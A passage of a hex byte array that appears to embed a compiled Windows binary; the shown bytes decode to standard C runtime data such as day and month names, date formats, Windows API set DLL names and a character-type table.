0x00, 0x4d, 0x6f, 0x6e, 0x00, 0x54, 0x75, 0x65, 0x00, - 0x57, 0x65, 0x64, 0x00, 0x54, 0x68, 0x75, 0x00, 0x46, 0x72, 0x69, 0x00, - 0x53, 0x61, 0x74, 0x00, 0x53, 0x75, 0x6e, 0x64, 0x61, 0x79, 0x00, 0x00, - 0x4d, 0x6f, 0x6e, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x54, 0x75, 0x65, 0x73, 0x64, 0x61, 0x79, 0x00, 0x57, 0x65, 0x64, 0x6e, - 0x65, 0x73, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x54, 0x68, 0x75, 0x72, 0x73, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, - 0x46, 0x72, 0x69, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x53, 0x61, 0x74, 0x75, 0x72, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, - 0x4a, 0x61, 0x6e, 0x00, 0x46, 0x65, 0x62, 0x00, 0x4d, 0x61, 0x72, 0x00, - 0x41, 0x70, 0x72, 0x00, 0x4d, 0x61, 0x79, 0x00, 0x4a, 0x75, 0x6e, 0x00, - 0x4a, 0x75, 0x6c, 0x00, 0x41, 0x75, 0x67, 0x00, 0x53, 0x65, 0x70, 0x00, - 0x4f, 0x63, 0x74, 0x00, 0x4e, 0x6f, 0x76, 0x00, 0x44, 0x65, 0x63, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x79, 0x00, - 0x46, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x79, 0x00, 0x00, 0x00, 0x00, - 0x4d, 0x61, 0x72, 0x63, 0x68, 0x00, 0x00, 0x00, 0x41, 0x70, 0x72, 0x69, - 0x6c, 0x00, 0x00, 0x00, 0x4a, 0x75, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, - 0x4a, 0x75, 0x6c, 0x79, 0x00, 0x00, 0x00, 0x00, 0x41, 0x75, 0x67, 0x75, - 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x65, 0x70, 0x74, - 0x65, 0x6d, 0x62, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4f, 0x63, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x00, 0x4e, 0x6f, 0x76, 0x65, - 0x6d, 0x62, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, - 0x41, 0x4d, 0x00, 0x00, 0x50, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4d, 0x4d, 0x2f, 0x64, 0x64, 0x2f, 0x79, 0x79, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x4d, 0x4d, - 0x4d, 0x4d, 0x20, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x48, 0x3a, 0x6d, 0x6d, 0x3a, 0x73, 0x73, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, 0x75, 0x00, - 0x6e, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00, - 0x54, 0x00, 0x75, 0x00, 0x65, 0x00, 0x00, 0x00, 0x57, 0x00, 0x65, 0x00, - 0x64, 0x00, 0x00, 0x00, 0x54, 0x00, 0x68, 0x00, 0x75, 0x00, 0x00, 0x00, - 0x46, 0x00, 0x72, 0x00, 0x69, 0x00, 0x00, 0x00, 0x53, 0x00, 0x61, 0x00, - 0x74, 0x00, 0x00, 0x00, 0x53, 0x00, 0x75, 0x00, 0x6e, 0x00, 0x64, 0x00, - 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x6f, 0x00, - 0x6e, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x54, 0x00, 0x75, 0x00, 0x65, 0x00, 0x73, 0x00, 0x64, 0x00, 0x61, 0x00, - 0x79, 0x00, 0x00, 0x00, 0x57, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6e, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x68, 0x00, 0x75, 0x00, 0x72, 0x00, - 0x73, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, - 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, 0x61, 0x00, - 0x74, 0x00, 0x75, 0x00, 0x72, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x61, 0x00, - 0x6e, 0x00, 0x00, 0x00, 0x46, 0x00, 0x65, 0x00, 0x62, 0x00, 0x00, 0x00, - 0x4d, 0x00, 0x61, 0x00, 0x72, 0x00, 0x00, 0x00, 0x41, 0x00, 0x70, 0x00, - 0x72, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, - 0x4a, 0x00, 0x75, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x75, 0x00, - 0x6c, 0x00, 0x00, 0x00, 0x41, 0x00, 0x75, 0x00, 0x67, 0x00, 0x00, 0x00, - 0x53, 0x00, 0x65, 0x00, 0x70, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x63, 0x00, - 0x74, 0x00, 0x00, 0x00, 0x4e, 0x00, 0x6f, 0x00, 0x76, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x61, 0x00, - 0x6e, 0x00, 0x75, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, - 0x46, 0x00, 0x65, 0x00, 0x62, 0x00, 0x72, 0x00, 0x75, 0x00, 0x61, 0x00, - 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4d, 0x00, 0x61, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x70, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x75, 0x00, - 0x6e, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4a, 0x00, 0x75, 0x00, 0x6c, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x75, 0x00, 0x67, 0x00, 0x75, 0x00, - 0x73, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, 0x65, 0x00, - 0x70, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x62, 0x00, 0x65, 0x00, - 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x63, 0x00, - 0x74, 0x00, 0x6f, 0x00, 0x62, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, - 0x4e, 0x00, 0x6f, 0x00, 0x76, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x62, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x62, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x4d, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x4d, 0x00, 0x2f, 0x00, 0x64, 0x00, - 0x64, 0x00, 0x2f, 0x00, 0x79, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x64, 0x00, 0x64, 0x00, - 0x2c, 0x00, 0x20, 0x00, 0x4d, 0x00, 0x4d, 0x00, 0x4d, 0x00, 0x4d, 0x00, - 0x20, 0x00, 0x64, 0x00, 0x64, 0x00, 0x2c, 0x00, 0x20, 0x00, 0x79, 0x00, - 0x79, 0x00, 0x79, 0x00, 0x79, 0x00, 0x00, 0x00, 0x48, 0x00, 0x48, 0x00, - 0x3a, 0x00, 0x6d, 0x00, 0x6d, 0x00, 0x3a, 0x00, 0x73, 0x00, 0x73, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x55, 0x00, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x60, 0x42, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa0, 0x31, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xa0, 0x42, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xe0, 0x42, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x30, 0x43, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x90, 0x43, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xe0, 0x43, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe0, 0x31, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x20, 0x44, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x60, 0x44, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa0, 0x44, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xe0, 0x44, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x30, 0x45, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x90, 0x45, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xe0, 0x45, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x30, 0x46, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x32, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x48, 0x46, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x60, 0x46, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa8, 0x46, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, - 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, - 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x74, 0x00, 0x69, 0x00, - 0x6d, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, - 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, - 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, - 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, - 0x65, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, - 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x2d, 0x00, - 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, - 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x6f, 0x00, - 0x63, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x69, 0x00, 0x7a, 0x00, 0x61, 0x00, - 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6c, 0x00, - 0x31, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, - 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, - 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, - 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x61, 0x00, - 0x6c, 0x00, 0x69, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, - 0x6f, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6f, 0x00, 0x62, 0x00, 0x73, 0x00, - 0x6f, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x74, 0x00, 0x65, 0x00, 0x2d, 0x00, - 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x30, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, - 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, - 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, - 0x65, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, - 0x65, 0x00, 0x61, 0x00, 0x64, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x6c, 0x00, - 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, - 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, - 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x67, 0x00, - 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, - 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, - 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, - 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, - 0x65, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x69, 0x00, - 0x6e, 0x00, 0x66, 0x00, 0x6f, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, - 0x2d, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, - 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, - 0x6e, 0x00, 0x72, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, - 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, - 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, - 0x78, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, - 0x2d, 0x00, 0x6c, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, - 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, - 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, - 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x72, 0x00, 0x74, 0x00, 0x63, 0x00, - 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x74, 0x00, - 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x77, 0x00, - 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x2d, 0x00, - 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x30, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, - 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x73, 0x00, 0x65, 0x00, 0x63, 0x00, 0x75, 0x00, 0x72, 0x00, - 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x79, 0x00, - 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x66, 0x00, 0x75, 0x00, - 0x6e, 0x00, 0x63, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, - 0x73, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, - 0x2d, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x2d, 0x00, - 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, - 0x72, 0x00, 0x2d, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x6c, 0x00, - 0x6f, 0x00, 0x67, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x78, 0x00, 0x2d, 0x00, - 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x30, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6e, 0x00, - 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2d, 0x00, - 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00, 0x6f, 0x00, 0x77, 0x00, - 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, - 0x6e, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, - 0x2d, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x64, 0x00, - 0x76, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x33, 0x00, 0x32, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x74, 0x00, - 0x64, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, - 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, - 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x70, 0x00, 0x70, 0x00, - 0x6d, 0x00, 0x6f, 0x00, 0x64, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x2d, 0x00, - 0x72, 0x00, 0x75, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6d, 0x00, - 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, - 0x2d, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x00, 0x73, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x33, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x41, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x41, 0x70, 0x69, 0x73, 0x41, - 0x4e, 0x53, 0x49, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x07, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x4c, 0x43, 0x4d, 0x61, 0x70, 0x53, 0x74, 0x72, - 0x69, 0x6e, 0x67, 0x45, 0x78, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x54, 0x6f, 0x4c, 0x43, 0x49, 0x44, 0x00, 0x00, 0x00, 0x00, - 0x12, 0x00, 0x00, 0x00, 0x41, 0x70, 0x70, 0x50, 0x6f, 0x6c, 0x69, 0x63, - 0x79, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x54, - 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, - 0x74, 0x68, 0x6f, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, - 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, - 0x20, 0x00, 0x28, 0x00, 0x28, 0x00, 0x28, 0x00, 0x28, 0x00, 0x28, 0x00, - 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, - 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, - 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, - 0x48, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, - 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, - 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x84, 0x00, 0x84, 0x00, - 0x84, 0x00, 0x84, 0x00, 0x84, 0x00, 0x84, 0x00, 0x84, 0x00, 0x84, 0x00, - 0x84, 0x00, 0x84, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, - 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x81, 0x00, 0x81, 0x00, 0x81, 0x00, - 0x81, 0x00, 0x81, 0x00, 0x81, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x10, 0x00, - 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x00, 0x82, 0x00, - 0x82, 0x00, 0x82, 0x00, 0x82, 0x00, 0x82, 0x00, 0x82, 0x00, 0x02, 0x00, - 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 0x02, 0x00, 